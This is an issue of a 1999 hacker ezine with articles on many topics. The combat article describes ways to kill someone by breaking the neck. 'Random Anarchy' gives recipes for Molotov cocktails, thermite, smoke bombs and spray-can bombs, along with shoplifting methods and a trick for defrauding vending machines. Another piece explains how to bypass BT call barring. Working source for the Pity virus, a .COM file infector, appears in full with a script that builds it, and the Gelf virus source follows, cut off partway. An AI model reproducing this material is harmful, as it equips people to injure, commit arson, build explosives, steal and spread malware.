💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › UP › up-7.txt captured on 2021-12-05 at 23:47:19.

View Raw

More Information

-=-=-=-=-=-=-

       ___________         _______________________________________ 
        ",      /        /     ___                      _.-''    '. 
         /     /        /     /  /NDERGROUND>         .'    _      |
        /     /        /     /  /   _______          /     / \     / 
       /     /        /     /  /   /  ___  \        /   __/_.'    /
      /     /        /     /  /   /  /__/  /       /.-''        .'
     /     /        /     /  /   /  _____.'       /_________..-'
    /     /        /     /  /___/  /_            /     /
   /     /        /      '.____   __/           /     /
   |    /        /            /  /             /     /
    \   |     _.'            /__/ERIODICAL>   /     /
     '-._'..-'_______________________________/__..-'
                    
         	      We're On The Up And Up
		    
		     :..:..::..Issue..::..:..:
		       Issue 7 November 1999

		     :..:..::..Staff..::..:..:

            		   CrossFire - Editor
		  ergophobe (Walrus) - Editor	
			      Mirage - Writer
			      Devlin - Writer
		  Pyr0 Proxy / PoZ-i - Writer
			
	                      Website
		 http://members.xoom.com/under_p

		     :..:..::..Email..::..:..:
			  under_p@yahoo.com
			 
                     :.:.Alternative Hosts.:.:

                      http://www.swateam.org
		    http://surf.to/maquishacker
		      http://surf.to/awol4life
		       http://mobboss.dragx.cx
		        http://walrus.bog.net
		   http://packetstorm.securify.com


		     :..::..Introduction.::..:

<*> Welcome to Up7! A lot of things have changed this month,
3 More people (Mirage, Devlin And Pyr0 Proxy) have joined the
Staff. Walrus Has also Been promoted to co-editor because he kept
coming up with such good ideas it was the most sensible thing
to do. Darkflame Has Been kicked from the Up staff because of
inactivity.

We Didn't get ANY mails concerning Up6 in the past month, so get 
your asses into gear and tell us what you think. I'm sorry if the
issue was released a bit late this month, this month I've had to
chase people to write us articles (more than usual), heck - we even
have a couple of articles from HuSoft (damned good articles too)
who was the main 'character' in last month's IP Spanking Feature.

Official Cool Person Of The Month: Phreakazoid - For giving me a nice
shiny bt internet dialup :)

Right, on with the mag. Please send feedback and articles to:
under_p@yahoo.com - Most articles sent to us do get included, and you
can plug your website at the end of it if you want.

			:..::.:..Contents.:.::..:

            <*>  0 - Introduction And Contents...: CrossFire
	    <*>  1 - Unarmed Hand To Hand Combat.: Pyr0-Proxy
	    <*>  2 - Tracking Corner.............: Ergophobe 
	    <*>  3 - Random Anarchy..............: PoZ-i
            <*>  4 - Networking..................: Mirage
	    <*>  5 - BT Call Barring.............: CrossFire
	    <*>  6 - Pity Virus..................: EXE-Gency
	    <*>  7 - Gelf Virus..................: EXE-Gency
            <*>  8 - Hacking Novell Netware......: HuSoft
	    <*>  9 - Password Security...........: HuSoft
	    <*> 10 - Tracked Music Reviews.......: Walrus & CrossFire
	    <*> 11 - 0800 Scans..................: Ergophobe
	    <*> 12 - Eggdrop Hacking.............: Mob Boss
	    <*> 13 - Free Calls with Ureach......: Mob Boss
	    <*> 14 - Playstation Piracy..........: CrossFire
	    <*> 15 - Disclaimer and End..........: UP Staff



   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:

Unarmed Hand To Hand Combat
Part 1 - Attacking
By Pyr0-Pr0xy


First of all, let me say that none of the techniques described here should be used on innocent, defenceless people. Unless you don't like them. 

"Attack is the best form of defence" - Sometimes this can be true, and sometimes you might just want to kick the shit out of someone. The following text should be useful.

There are seven areas of your body, which can be used to attack another person:

1) The Knee
2) The Heel of the foot
3) The ball of the foot
4) Middle finger and ring finger end
5) Elbow
6) The knife edge of hand/little finger
7) The Fist/side fist

A fundemental rule, which has to be observed after an attack using any part of the body, is that you must immediately bring back the attacking limb to its starting point. E.g, when you hit someone, you should make contact, then bring your arm back. If you don't, it greatly reduces the effectiveness of the attack.

When attacking someone, (in defence of course), there are certain areas of the body that you should always aim to hit. A blow to one of these areas can bring down a man much quicker than repeated blows to an inneffective area.
They are:

The top of the head - not very useful, unless you have a baseball bat.

Between the Eyes - Can be poked, or struck with the fist. Causes pain and can break the neck if done with sufficient force.

The temples - A sideways blow, with the little finger edge of the hand, to either temples, or both can cause unconsciousness, and even death.

Behind the ears - If your opponent is already on the ground, and at your mercy, you can inflict great pain by pressing the knuckle of you second finger into the flesh part just behind the ear lobe

The upper lip - This can be hit with the little finger edge of the hand, and with the fist, and causes extreme pain, due to a bundle of nerves being close to the skin

Chin - Can be attacked with the fist or elbow, and can knock someone out if hit with enough force

Neck - If you manage to hit someone in the throat, just above the voice box, it tends to fold the windpip inwards, which isn't a good thing for the owner of the throat.

Pit of the stomach - This spot can be hit with the fist, elbow, knee or can be kicked. It is one of the most vunerable sopts on the body. When kicking your opponent in this spot, keep the toes curved and deliver the blow with the ball of the foot. Withdraw the foot instantly, to delvier maximum force.

The Lower ribs - This hurts like hell, and can cause internal damage. Stuck with the foot, and the fist.

About 5cm below the navel - Kick this. Hard. It Hurts. Lots.

Testicles - Does this really need explanation???!?!

Knee Joint - It can be kicked, from the side, with a downward motion, which snaps the joint. 


Generally, there is not many technical techniques that can be used when attacking, that actually work. Your best bet is to attack first, attack fast, and attack hard. Don't stop attacking until your opponent is on the floor, and not moving, and you will be safe from retalliation. Surprise attacks work best, as your opponent has little or no time to prepare himself.

If you *really* don't like someone ;-) , then it is quite simple to kill someone with your bare hands. The main area of weakness is the head and neck. The skull is designed to take shocks fowards and backwards, not sideways. So, a violent sideways blow can, if delivered with sufficient force, kill a person. It should at least render them unconscious.

Breaking a persons neck is a very quick and easy way to send them to their doom. The easiest way to acheive this from behind is to wrap your right arm around around the right side of their head, across the forehead, grasping the left side of their head, and with your left arm, go across your body, and grab the back, right side of their head. Move your hand closer together, with a violent lunge, twisting their head with a sideways motion. Alternatively, you can place your left hand in the pit of their neck, then grab their forehead with your right hand. Push forwards with your left, and backwards with your right. 

Finally, let me just say that when attacking, you should always look for weak spots on your opponents body(s). Each person will have a weak spot, some place on their body that you can exploit. 
Next time, I will be dealing with how to cover up *your* weak spots, and how to react to, and defend from different attacks.


   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:

Tracking corner
~~~~~~~~~~~~~~~
By: ergophobe

Hopefully this will turn into a regular feature as a kind of forum for general information/rants and raves about tracking.

The basic theme I'm going to be exploring this month is the idea of realism within tracked music.

Up until the advent of computers, musicians have been very limited in what they can do with their music. Simple things such as having only two arms have greatly influenced the way that instruments and consequently music have been structured. But all that has changed. Using a tracker, we can now have things which were never possible before such as snare fills and hihats at the same time, or playing 3 notes simultaneously on a flute. This has dramatically shaped the music of our time. Many of the sounds which are used in music today, particularly trance, are only possible because of synthesisers and the sounds and effects which these can create. The reason that we have music such as hardcore, techno and drum 'n' bass is because we can. Music such as this is very technology driven, and advances in the technology which is available are being taken advantage of all the time.

However this is not always a good thing. The classic example is the fact that timestretching samples is now incredibly easy has probably lead to the huge increase in the number of ripoffs being released at the moment in the hardcore scene. Less obvious is the fact that people often forget that these limitations have been lifted. When tracking a piece of techno or hardcore, just about anything goes in terms of physical limitations of your performers. The only thing you need to worry about is a nice DJ friendly intro and outro.

However when tracking a piece of heavy metal, you've got to remember that your drummer can not play 2 bassdrums and pedal a hi-hat at the same time because he doesn't have three legs. In this respect, you need to think very carefully about the way that you use a tracker. Even down to researching the range of notes that certain instruments can play. For example, piccolo's simply do not play low notes.

There is an additional aspect to the idea of physical limitation, which is the idea of speed. You have to think about exactly how fast it is possible for a person to play. A piece at 350bpm may work fine in a tracker, but when you give it to real musicians to play, its simply not going to work.

Finally it is important to consider what variety of the instrument is most appropriate. For most general saxophone parts, alto or tenor is fine, but for those higher notes, soprano is more effective, and for the really low bass parts, a baritone sax is better.

To add extra touches of realism, it is worth thinking about how the piece would actually be played. A pianist will not strike each key with exactly the same velocity every time, there will be slight variations in volume. It is also rare that a saxophonist will play each note exactly the same and completely crisp. If you listen very closely, you will notice that it is common for the note to bend slightly.

So when you're tracking, take into account the style you are actually composing in, the instruments you are using and what effect you are actually trying to create with them.

ergophobeRandom Anarchy
by PoZ-i

Fun with Fire and Smoke
-----------------------

This may sound obvious, but *much* fun can be had with fire. You'd be
Surprised at the amount of things that burn exceptionally well, 
especially with a little help. Here are some ideas.

#1) Flame Throwers
    Take any spray can; hold a lighter by the nozzle, and spray!
#2) Car Mayhem
    Light something, throw it under a car, and wait for the owner to
    come running!
#3) Flour Fire-ball
    Get a candle and some flour.  Light the candle and put some flour
    in your hand.  Try various ways of getting the flour to leave your 
    hand and become dust over the candle flame.  The enormous surface 
    area allows all the tiny dust particles to burn all at about the 
    same time creating a fireball effect. 
#4) Molotov Cocktail
    This now famous device is easy to make, but deadly when used.
    Simply take a glass bottle (a milk bottle will do fine) and fill
    with 3/4 petrol or lighter fluid, and 1/4 oil. Shake this mixture
    well. Dip a piece of torn rag into the mixture, and stuff it into 
    the neck of the bottle. If no rags are available, a tampon works 
    just as well. Light the rag, then throw the bottle, making sure it 
    smashes. The oil makes the mixture stick to surfaces.
#4) Fire Fudge
    Take some flour, and mix it in with petrol. The resulting mixture 
    should have a dough like consistency. You could throw it at a window
    or wall, and then light, or you could make a modified molotov cocktail
    with it. (see above)
#5) Carrier Bags
    Take some carrier bags, and stuff then into a crack in a window, or on 
    someone's doorstep. Burn them, and they melt to form a sticky gooey mess
    that is very hard to remove!
#6) Thermite
    This one needs some before hand preparation, so plan a week ahead.
    Thermite is basically a material, that when lit, takes advantage of
    the extremely hot (2200 degrees C) exothermic reaction that is produced
    when finely powdered aluminum filings are mixed with Ferric Oxide (rust)
    The two materials should be mixed at a 50/50 ratio, and gently heated
    until the iron glows red hot. The resulting material, when lit, will 
    burn through most materials, including carbonized steel! It is very 
    difficult to light however, and the best way to do so is using a 
    magnesium strip.
#7) Smoke!
    This crude but effective smoke bomb will produce *a lot* of smoke when
    made correctly. Simply mix together Potassium Nitrate (also known as
    Salt Petre) and sugar, in the ratio 3:1. Add some sulfur for some more
    smoke if necessary. Heat the mixture in a tin can gently, as you don't
    want a whole batch of this stuff going off in your kitchen. Heat it
    until the sugar melts. You should now have a white mixture, with sticky
    lumps in it. Simply throw a camping match in the tin to light! A fuse
    is recommended, as the amount of smoke this baby produces will turn heads.
    I know from experience that this is *very* effective!
#8) More smoke!
    This is another way to make lots of smoke, very easily. Simply mix 
    6g of zinc powder with 1g of sulfur powder. Stick a red-hot wire into
    the mixture, and stand back, as much smoke is produced.
#9) Spray-can bomb.
    This relatively small explosive is perfect if you are short of any 
    'proper' explosive materials. It uses the gases inside a spray can 
    (butane, propane) to create an mild explosion.
    You will need:

    1) a spray can (WD-40 is best, as the oil is also flammable, but any old deoderant can  will     do) 
    2) firelighters (if no firelighters are avaiable, then a bundle of rags 
    soaked in petrol or lighter fluid would work)
    3) Something to light it with
    4) a large elastic band or piece of string

Take the cap and the nozzle off the can, then using the elastic band or 
string, tie the fire lighters, or your other flammable material to either
side of the can.

Now light the flammable material, and run! you will have around 30 secs 
to a minute, depending on what materials you used. When the can heats up enough, it will explode, lighting the contents, and producing a loud bang!, accompanied by a reasonable fireball.

The more cans that are used, the louder, and larger the explosion!

Stealing
--------

Stealing stuff from shops if surprisingly easy, especially if you have
a mate to help. Most shop keepers are so dumb they wouldn't notice if
you took the till away from under their noses.
however, People don't notice stuff, but camera's do. 

holiday in Germany of course) unless you want to get caught. 
Understand though, there are different types of camera. First there are 
the ones that are totally fake. These are tricky to spot, but they usually
have a 'realistic' flashing light. My advice is don't risk it, there are 
easier places to rob from. Leave any cameras alone, unless they are the
type that don't actually record anything, they just let the shop keeper
look at the other end of the shop. If these are in place, simply get a 
friend to distract the dick behind the counter, while you get the 
stuff. This is probably the best method to steal anything. Get a friend
or friends to go in one area of the shop, and look really suspicious.
All attention will be diverted to them, while you take the stuff.

When taking stuff, the best clothes to wear, are combat trousers (the type
with really big pockets in the legs), and any jacket with many pockets, 
especially the hidden type. Also wear a cap, so that if you are accidentally
caught on camera, it will be harder for them to recognize you.

If you do happen to notice a shopkeeper following you after you have taken 
something, simply replace the items on a shelf, any shelf. If they take you
in when you still have stuff in your pockets, but you haven't left the shop,
simply say that you haven't had the chance to pay, and that you had every 
intention of paying. Even if you get prosecuted, they won't have any kind of
a case against you, as you could have still paid.

Coin Vending Machines
---------------------

This is an idea to fuck over a coin vending machine:

Most modern machines work by passing an electric current through the coin, and
judging the value of it by the amount of resistance it offers. So what would
happen if you were to pour a salt-water solution into the coin slot? The whole
fucking machine would start throwing out money and chocolate randomly! Try it! You'll Like It!


A Series On Networking


1) Who is that guy Mirage ? 

2) Networking 


Hello readers of UP, this is my first article for UP and I hope you like it. 
To those of you who don't know me, you would if you hang on the krash server shame 
on you. Well you can catch most of us there on the weekend on krash.dyndns.org 6667.
These are some of the popular channels #apt, #hdc, #krash, #cocytusUK but keep your 
eyes open for others. Well some of you are probably wondering who is this guy Mirage ? 
Well erm... in a nutshell i'm a person very curious about computer security issues
and generally anything to do with comuters. Ok my first article will be on networking 
from the basics to more advanced techniques used; from my experience anyway. This will be in a long line of articles so stay tunned! 


                                         
                                               -Mirage-



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=--=-=-=-=-

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
To start of the series of tutorials we are first going to take a beginners look 
at network topologies:

My definition of a network topology is that it is a description of the layout of 
communication medium (cabling), and devices on a network (printers, peripheral etc).
In this article I will cover the following topologies: point to point, mesh, bus, 
ring, star and hybrid.

Point to point

This is a very simple one basically you have two computers connected to each other 
via communication media. Obviously routing is not necessary, as this is a simple 
"point to point" topology. It's main use is for file transferring or two player Quake.
This topology is not really used these days but I thought I'd mention it. 

Mesh

A Mesh topology basically provides each computer on the network with a point to 
point connection. In my experience Mesh topologies most of the time can provide 
fast, reliable data transmission. The reason why Mesh aren't so widely used is for 
the simple reason that they waste communication channels; which in a growing 
company would very impratical. Despite the advantages of having a dedicated 
connection the wasting of communication channels just isn't practical.

Bus

This is the most commonly used well from what i've seen. A Bus topology as it's 
name suggests uses a single communication medium (usually coaxial) to transmit 
data. This works pretty simply e.g. erm... short links of cable tap directly into 
the main Bus simple as I said. At each ends of the Bus are terminating devices
which prevent echoing when the signal reaches the end of the main Bus. If you don't 
know what echoing is well its simple it would produce the effect of multiple 
signals on the main Bus. I remember a friend had set up a network using this
topology and asked me to see why it wasn't working it was so easy to fault find,
it was just a badly made cable that wasn't built right. He said he spent over 3 
hours trying to fix the network. The twat even formatted all the computers and 
started again DOH! So remember to check you cabling first.

Ring

This is a real irritating network if one computer goes down so do all of them. 
Righty then well this topology connects computers in a continuous loop. On the
upside signal quality on these networks is good as the signals are retransmitted
by each computer to the next computer and so on the signal keeps getting relayed.
The reason why I say this is an upside is because there is very little loss in 
signal quality as the signal is always being replayed.

Star

Things start to get more interesting here with the introduction of hubs in 
networks. In a Star topology the cabling branches out from a central hub. Then 
the hub transmits signals from computer to computer, nice huh. If your not a tight
git and you invest in a decent hub you can pick one up that will increase the signal 
quality over the network and wait for it yes you guessed it keep portions of the 
network in operation should a cable break or other problem occur. There not that 
expensive to put together actually and fault finding is so easy. On the downside 
it has a low data rate.

Hybrid

In my experience I have found that Hybrid topologies can be very tricky to 
establish and manage. Well Hybrid topologies have to combine two or 
more to be considered a Hybrid topology. A lot of wide area network's (WAN's) use 
this topology as they have the ability to connect several local area network's 
(LAN's. Oh yeah and they can be dame expensive and trouble shooting can really 
be dawnting.


Well readers thats it for this issue stayed tunned for the next issue which we 
will be looking at communication medium.


            
                                                -Mirage-



UIN:54387080

E-mail:dk306@hotmail.com


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



                                       Hope You Enjoyed It!
                                       Mirage

|  _> _ _  ___  ___ ___| __><_> _ _  ___ 
| <__| '_>/ . \<_-<<_-<| _> | || '_>/ ._>
`___/|_|  \___//__//__/|_|  |_||_|  \___. Presents....

Bypassing BT Call Blocking
v1.0
                                                                           

This file comes about after a phone conversation with Walrus, in which he told me someone had emailed him asking about getting past Bt Call Blocking. Because of a certain �225 Phone Bill, my Parents decided to put Call Blocking on our phoneline. Bastards. From What I can gather, Call Barring works by The Line owner entering a pin (duh), and after which a connection seems to be made to a BT Number, on which a fake dial tone is made. 

One Way I have found to circumvent this, is If you have a mobile phone or similar, call Up the 17070 Outdial that Ergophobe Mentioned last month (0800 373983) , and select the Cable Pair Identification Feature. Cable Pair Identification basically is a feature that Engineers can use to test lines, cutting off all traffic to the line in the process (And no It doesn't work on freeserve <g>). From My Findings, this temporarily allows you to make a call, but you have to be quick, because the barring comes back on pretty soon.

Another, More Foolproof way to Bypass Call Barring is to try Hacking the Pin Code. From what I've found out, the pin code is 6 numbers long, but the line owner does NOT Select the pin, so don't bother trying your pets second cousins brother in law's wife's birthdate - It aint worth it.  

Once You've Hacked the code, your going to want to deactivate the barring (duh), and to do that you need a special code - here is a list of all the codes that activate / deactivate various things in the BT System (Thanks To EXE-Gency For These):

 141              withhold number
 1471             gives details of last number to call you
 1474             call the last number to call you.
 1470             un-withhold your number if you have a perm-=Withhold-

 150            - BT Customer Service
 151            - BT Fault Reporting
 155            - International Operator
 153            - International Directory Enquiries
 192            - UK Directory Enquiries

 *21*           - Divert all calls
 *#21#          - Check divert (high tone on/low tone off)
 #21#           - cancel divert

 *261#          - Barrs all Incoming calls
 *#261#         - Check incoming call barring
 #261#          - Cancel incoming call barring

 *34x#          - Switch ON Call Barring (where x = option number)
 *#34x#         - Check Call Barring
 #34x*PIN#      - Cancel Call Barring option
 #34*PIN#       - Cancel All Call Bars
                  Call Bar Options - 1 - bars almost all calls/allows 999/151
                                     2 - bars calls starting with "0"
                                     3 - bars international calls
                                     4 - bars calls starting with 1 except 151
                                     5 - bars calls using *
                                     6 - bars premium rate adult services
                                     7 - bars all premium rate services
          
 *41#           - Switch Call Waiting on
 #43#           - Switch Call Waiting off
 *#43#          - Check Call Waiting status (high tone on/low tone off)

 *52#           - Details of last outgoing call (Gives number)
 #52#           - Delete details of last call
 *54#           - Redial last outgoing call.

 *61*           - Divert if no reply
 *#61#          - Check divert
 #61#           - Cancel divert on no reply

 *62*xxxxxxxxx# - Divert on NOT AVAILABLE (Currently not installed

 *65*xxxxx#     - Not sure what this does. (need pin number)

 *66*xxxxxxxxx# - Divert on No Reply and Busy..

 *67*           - Divert if busy
 *#67#          - Check divert
 #67#           - Cancel divert on busy

Yeah, Short File I know, but I hope you find it useful. Please Send All Feedback / Flames / Death Threats / Bribes to: crossfire@antionline.org .
   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:

The Pity Virus
By EXE-Gency

Comment #

    �����������������������������������������������������������Ŀ
    �  T   H   E     ( P   I   T   Y )     V   I   R   U   S  � �
    �      B   Y       E   X   E   -   G   E   N   C   Y      � �
    ����������������������������������������������������������� �
    �������������������������������������������������������������

        Okay, this the the very first non-overwriting virus I wrote.
        Here are some details about the Pity virus:

Name    : Pity
Author  : EXE-Gency
Size    : about 500 bytes (file growth)
Type    : Non-resident, non-overwriting, non-encrypted.
Targets : *.COM
Stealth : Restores files attributes, time and date stamp
General : Infects all files in the current directory.
          Searches current directory with FindFirst/Next functions.
          Won't re-infect files.
          Won't infect files whose first two bytes add up to 167 (such
                as MZ or ZM in .EXE files)
          Won't infect files smaller than 500 bytes (1F4h.)
          Won't infect files larger than 60,000 bytes (EA60h.)
          Won't infect files whose name is recognised by the filemask
                CO*.COM so as not to infect the file COMMAND.COM.
          Uses the JMP instruction (E9h) as it's infection marker.
          Puts the DTA (Disk Transfer Area) at the bottom of the file
                during execution, so that the parameters to .COM files
                are not overwritten when called to FindFirst (4Eh) and
                FindNext (4Fh) functions.
To assemble type: TASM PITY.ASM
                  TLINK /T PITY.OBJ
                  DO NOT RUN THE PITY.COM FILE IT IS THE VIRUS!

������������������������������������������������������������������������������
#
Prog            segment
                assume cs:Prog, ds:Prog
                org     0100h                  ; Leave room for PSP

Begin:          db      0E9h, 00h, 00h         ; JMP The Start
                                               ; (1st generation only)

TheStart:       call    Get_Delta              ; Push IP
Get_Delta:      pop     bp                     ; Pop IP into BP
                sub     bp, offset Get_Delta   ; Get File Size
                
                lea     si, [bp + Buffer]      ; SI points to buffer
                mov     di, 0100h              ; DI points to 1st byte
                movsb                          ; Move 1 byte
                movsw                          ; Move 1 word (2 bytes)

                mov     ah, 1Ah                ; Set DTA
                lea     dx, [bp + TheEnd]      ; To end of virus
                int     21h                    ; Do it!

                mov     ah, 4Eh                ; FindFirst
                lea     dx, [bp + FileMask]    ; DX points to *.COM
                mov     cx, 0007h              ; File attribs

FindNext:       int     21h                    ; Do it!
                
                jnc     $+5                    ; No error? Continue
                jmp     ReturnToHost           ; No more files!
                
                mov     ax, 4301h              ; Set attribs
                mov     cx, 0000h              ; To zero
                lea     dx, [bp + TheEnd + 1Eh]; DX points to FileName
                int     21h                    ; Do it!
                
                jnc     $+5                    ; No error? Continue
                jmp     FindMore               ; Error? Find another

                mov     ax, 3D02h              ; Open file R/W
                lea     dx, [bp + TheEnd + 1Eh]; DX points to FileName
                int     21h                    ; Do it!
                
                jnc     $+5                    ; No error? Continue
                jmp     FindMore               ; Error? Find another

                xchg    ax, bx                 ; BX=File Handle

                mov     ah, 3Fh                ; Read file
                mov     cx, 03h                ; 3 bytes
                lea     dx, [bp + Buffer]      ; Put in buffer
                int     21h                    ; Do it!
                
                lea     cx, word ptr [bp + offset Buffer]
                                           ; Put first 2 bytes into CX
                add     cl, ch                 ; Add together
                cmp     cl, 0A7h               ; Is it MZ or ZM?
                je      RestoreAttr            ; Yep, close file

                cmp     byte ptr [bp + Buffer], 0E9h ; Infected?
                jne     $+5                    ; No, continue
                jmp     RestoreAttr            ; Yep, restore+close
                
                cmp     word ptr [bp + TheEnd + 1Eh], 'OC'
                                               ; COMMAND.COM file?
                jz      RestoreAttr            ; Yep, close file
                
                mov     ax, 4202h              ; Goto EOF
                mov     cx, 0000h
                mov     dx, 0000h
                int     21h                    ; Do it!
                
                sub     ax, 03h                ; reduce by 3
                mov     word ptr [bp + JumpBytes+1], ax
                                   ; Append offset to JuMP instruction

                cmp     ax, 01F4h              ; Less that 500 bytes?
                jb      RestoreAttr            ; Yep! Find more

                cmp     ax, 0EA60h             ; More than 60,000?
                ja      RestoreAttr            ; Yep! Find more

                mov     ah, 40h                ; Write file
                mov     cx, TheEnd - TheStart  ; CX = Virus size
                lea     dx, [bp + TheStart]    ; Beginning of virus
                int     21h                    ; Do it!

                mov     ax, 4200h  ; Set file pointer to start of file
                mov     cx, 0000h
                mov     dx, 0000h
                int     21h                    ; Do it!

                mov     ah, 40h                ; Write file
                mov     cx, 03h                ; 3 bytes
                lea     dx, [bp + JumpBytes]   ; DX points to buffer
                int     21h                    ; Do it!

RestoreAttr:    mov     ax, 4301h              ; Set file attribs
                mov     cx, word ptr [bp + TheEnd + 15h] ; From DTA
                lea     dx, [bp + TheEnd + 1Eh]; DX points to filename
                int     21h                    ; Do it!

RestoreTDStamp: mov     ax, 5701h              ; Set file time/date
                mov     cx, word ptr [bp + TheEnd + 16h] ; from DTA
                mov     dx, word ptr [bp + TheEnd + 18h] ; from DTA
                int     21h                    ; Do it!

CloseFile:      mov     ah, 3Eh                ; Close file
                int     21h                    ; Do it!

FindMore:       mov     ah, 4Fh                ; Find Next
                jmp     FindNext               ; Call int 21h

ReturnToHost:   mov     ah, 2Ch                ; Get time
                int     21h                    ; Do it!

                cmp     dl, 00h                ; sec=0?
                je      DisplayMessage         ; Yep, display message

Restore:        mov     ah, 1Ah                ; Set DTA
                mov     dx, 80h                ; Back to ofs 0080h
                int     21h                    ; Do it!

                mov     ax, 0100h              
                push    ax                     ; Push 100h
                ret                            ; Ta ta!

DisplayMessage: mov     ah, 09h                ; Display message
                lea     dx, Message            ; DX holds offset
                int     21h                    ; Do it!
                int     20h                    ; Return to OS

FileMask        db      '*.COM', 00h           ; ASCIIZ File Mask
Message         db      '[Pity] Virus '
                db      'Written by EXE-Gency!'
                db      0Dh, 0Ah, '


          ; Message
Buffer:         db      90h, 0CDh, 20h         ; NOP, INT 20h
JumpBytes       db      0E9h, 00h, 00h         ; JMP offset

TheEnd:                                        ; Where to put DTA
Prog            ends                           ; Fin!
end             Begin                          ; Fin II !

������������������������������������������������������������������������������

If you don't have TASM/TLINK, just copy and past the debug script below to a
new text file and then type:
debug < filename
and a file called pity.com will appear. This is the virus.

N PITY.COM
E 0100 E9 00 00 E8 00 00 5D 81 ED 06 01 8D B6 23 02 BF 
E 0110 00 01 A4 A5 B4 1A 8D 96 29 02 CD 21 B4 4E 8D 96 
E 0120 F8 01 B9 07 00 CD 21 73 03 E9 AE 00 B8 01 43 B9 
E 0130 00 00 8D 96 47 02 CD 21 73 03 E9 98 00 B8 02 3D 
E 0140 8D 96 47 02 CD 21 73 03 E9 8A 00 93 B4 3F B9 03 
E 0150 00 8D 96 23 02 CD 21 8D 8E 23 02 02 CD 80 F9 A7 
E 0160 74 52 3E 80 BE 23 02 E9 75 03 EB 48 90 3E 81 BE 
E 0170 47 02 43 4F 74 3E B8 02 42 B9 00 00 BA 00 00 CD 
E 0180 21 2D 03 00 3E 89 86 27 02 3D F4 01 72 26 3D 60 
E 0190 EA 77 21 B4 40 B9 26 01 8D 96 03 01 CD 21 B8 00 
E 01A0 42 B9 00 00 BA 00 00 CD 21 B4 40 B9 03 00 8D 96 
E 01B0 26 02 CD 21 B8 01 43 3E 8B 8E 3E 02 8D 96 47 02 
E 01C0 CD 21 B8 01 57 3E 8B 8E 3F 02 3E 8B 96 41 02 CD 
E 01D0 21 B4 3E CD 21 B4 4F E9 4B FF B4 2C CD 21 80 FA 
E 01E0 00 74 0C B4 1A BA 80 00 CD 21 B8 00 01 50 C3 B4 
E 01F0 09 BA FE 01 CD 21 CD 20 2A 2E 43 4F 4D 00 5B 50 
E 0200 69 74 79 5D 20 56 69 72 75 73 20 57 72 69 74 74 
E 0210 65 6E 20 62 79 20 45 58 45 2D 47 65 6E 63 79 21 
E 0220 0D 0A 24 90 CD 20 E9 00 00 
RCX
0129
W
Q
   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:
The Gelf Virus
By EXE-Gency

Comment #                       
                       ������  �        �  ����ͻ
                       �        ( GELF )        �
                       � b y  E X E - G e n c y �
                       ������  �        �  ����ͼ

        Another old virus. The only difference between this and the Pity
virus is that it's encrypted.

Virus Name : Gelf
Author     : EXE-Gency
Size       : 1B6h bytes (file growth)
Type       : Non-overwriting, non-Resident, encrypted.
Targets    : *.COM files
Stealth    : Infects files with any attributes.
             Restores file's time/date stamp and attributes.
General    : Infects all files in the current directory and works it's
             may to the root with '..' calls. (Also restores original
             directory.)
             If it's the 1st of January, some details about Gelf will
             be displayed on the screen. The computer will then wait
             for a key press then re-boot the machine.
Assembling : TASM GELF.ASM
             TLINK /T GELF.OBJ
             DO NOT RUN THE GELF.COM FILE IT IS THE VIRUS!

������������������������������������������������������������������������������
#
prog            segment                 ; Setup segments
                assume  CS:prog, DS:prog; CS+DS in same seg
                org     100h            ; .COM file

Main:           db      0E9h, 00h, 00h  ; Jump to VirusStart

VirusStart:     call    GetDelta        ; Get DeltaOffset
GetDelta:       pop     bp              ; Pop IP
                sub     bp, offset GetDelta ; BP=Delta Offset
                
                mov     ah, 2Ah         ; Get Date
                int     21h             ; DOS Int

                cmp     dx, 0101h       ; 1st January? 1/1/??
                jne     NoPayload       ; No -> Dont display msg

                mov     ah, 09h         ; Write string
                lea     dx, VirusInfo   ; DX points to VX info
                int     21h             ; DOS Int
                
                mov     ah, 01h         ; Get Keypress
                int     21h             ; DOS Int
                int     19h             ; Reboot (but not in WIN95)

NoPayload:      call    Encrypt_Decrypt ; Decrypt virus
                jmp     RestoreOldBytes ; Restore 1st 3 bytes of host

EncryptionVal   dw      0000h         ; Enc/Dec val (0=no encryption)

WriteCode:      call    Encrypt_Decrypt ; Encrypt virus

                mov     ah, 40h         ; Write Virus
                mov     cx, offset virusend-virusstart ; Virus size
                lea     dx, [bp + virusstart] ; Start of Virus
                int     21h             ; DOS Int
                call    Encrypt_Decrypt ; Decrypt
                ret                     ; Return
                
Encrypt_Decrypt:mov     bx, word ptr [bp + EncryptionVal]
                lea     si, [bp + RestoreOldBytes]
                mov     cx, [offset Random - offset RestoreOldBytes]

XORAgain:       xor     word ptr [si], bx
                inc     si
                inc     si
                loop    XORAgain
                ret

RestoreOldBytes:lea     si, [bp + buffer]
                mov     di, 0100h
                movsb
                movsw

                mov     ah, 1Ah
                lea     dx, [bp + virusend]
                int     21h

                mov     ah, 47h
                mov     dl, 00h
                lea     si, CurrentDir
                int     21h

FindFirst:      mov     ah, 4Eh
                lea     dx, [bp + FileMask]
                mov     cx, 0000h

FindNext:       int     21h
                jnc     $ + 5
                jmp     DoParent

                mov     ax, 4301h
                mov     cx, 0000h
                lea     dx, [bp + VirusEnd + 1Eh]
                int     21h
                jnc     $ + 5
                jmp     FindMore

                mov     ax, 3D02h
